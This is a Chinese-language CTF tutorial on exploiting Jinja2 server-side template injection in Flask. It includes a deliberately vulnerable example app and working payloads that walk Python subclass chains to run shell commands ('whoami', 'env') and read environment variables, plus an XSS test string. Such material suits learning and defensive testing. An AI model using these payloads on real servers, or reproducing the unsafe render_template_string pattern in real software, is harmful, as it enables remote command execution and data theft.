CTF中SSTI漏洞的简单利用

admin 2023年1月3日12:01:15评论64 views字数 3088阅读10分17秒阅读模式

CTF中SSTI漏洞的简单利用

前言

前段时间参加比赛的时候,碰到了一个jinja模版注入的题目,于是想着借这个机会好好总结一下模版注入的知识于是便有了这篇文章。

SSTI注入简介

什么是SSTI注入

SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或getshell的目的,目前CTF常见的SSTI题中,大部分考察的都是python的jinja2模版引擎

造成的原因与利用条件

网站由数据与模版框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模版可以给人不同的视觉感受,但是当模版存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。

造成的危害

可造成文件读取,命令执行等

SSTI注入的利用姿势

利用思路概述

  1. 1. 随意找一个内置类对象利用__class__拿到该对象所对应的类型

  2. 2. 用__bases____mro__拿到基类<class 'object'>

''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
().__class__.__mro__[-1].__subclasses__()
request.__class__.__mro__[1]

  1. 1. 用__subclasses__()获取所有子类

  2. 2. 在子类中寻找可以合适的继承链执行命令或读取文件

利用姿势详解

在Python的ssti中,大部分都是依靠基类->子类->危险函数的方式来利用ssti,首先补充一下基础知识,方便我们后续的使用

__class__:用于返回该对象所属的类,如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

__bases__:以元组的形式返回一个类所直接继承的类。

--base__:以字符串返回一个类所直接继承的类

__mro__:返回解析方法调用的顺序

__subclassws__():获取类的所有子类

__init__:所有自带类都包含init方法,便于利用他当跳板来调用globals

__globals__function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

讲了这么多我们无非只有两个目的:

  • • 执行命令

  • • 获取文件内容

所以所有的一切都是要往这两个点上靠拢,接下来我们用一个例子来进行讲解

示例代码

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    return '<h1>不在这里,我的朋友</h1>'


@app.route('/flag/')
def flag():
    code = request.args.get('id')
    html = '''
        hello, do you have id ? , %s
    '''
 % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='0.0.0.0' , port='5000')

当访问/flag/时,会从get传递的参数中获取id的值并且拼接进行模板进行渲染

id={{1}}

CTF中SSTI漏洞的简单利用

此时传入的是1,响应返回的也是1,我们把参数换为{{2*2}}看看会有什么变化

id={{2*2}}

CTF中SSTI漏洞的简单利用

此时得到的值为4,证明是执行了2*2,因此可以断定存在模版注入漏洞

id={{config}}

CTF中SSTI漏洞的简单利用

针对我们的命令没有进行过滤,尝试一下xss

id=<script>alert("hello")</script>

CTF中SSTI漏洞的简单利用

首先通过str、dict、tuple或list获取python的基本类:

''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__

CTF中SSTI漏洞的简单利用

在模版注入中我们最经常需要用到的是warnings.catch_warning,所以遇到flask模板注入时,只要去寻找warning.catch_warning即可

通常是59

request.__class__.__base__.__subclasses__()[59]

CTF中SSTI漏洞的简单利用

继续找linecache

request.__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()

CTF中SSTI漏洞的简单利用

运行个命令

request.__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

CTF中SSTI漏洞的简单利用

到此为止我们就可以肆意妄为的进行命令执行了

接下来让我们用几个题来进行演示

CTF实战

BUUOJ-[FLask]SSTI

看到题目,没有给任何提示,先用Arjun(https://github.com/s0md3v/Arjun/archive/refs/tags/1.6.zip)进行一波扫描,看我们的可控参数

python3 arjun.py -u http://node4.buuoj.cn:29645/

CTF中SSTI漏洞的简单利用

可以看到我们可以利用的参数是name

直接用{{2*2}}进行测试

CTF中SSTI漏洞的简单利用

返回结果是4证明存在模版注入,按照我们前面说的步骤来

  1. 1. 构造基本类

name={{''.__class__.__base__}}

CTF中SSTI漏洞的简单利用
  1. 1. 寻找warnings.catch_warning

CTF中SSTI漏洞的简单利用

name={{''.__class__.__base__.__subclasses__()[166]}}

CTF中SSTI漏洞的简单利用

name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__.keys()}}

CTF中SSTI漏洞的简单利用

没有找到我们想要的linecache,但是有builtins,我们可以利用它执行eval或者open

用eval执行个whoami试试

name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('w hoami').read()")}}

CTF中SSTI漏洞的简单利用

成功执行

然后翻找了半天也没找到flag,最后在环境变量中找到的,也是很艰辛了

最终payload:

?name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

CTF中SSTI漏洞的简单利用

文章来源:Tide安全团队


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

CTF中SSTI漏洞的简单利用

多一个点在看CTF中SSTI漏洞的简单利用多一条小鱼干

原文始发于微信公众号(黑白之道):CTF中SSTI漏洞的简单利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月3日12:01:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF中SSTI漏洞的简单利用http://cn-sec.com/archives/1494811.html

发表评论

匿名网友 填写信息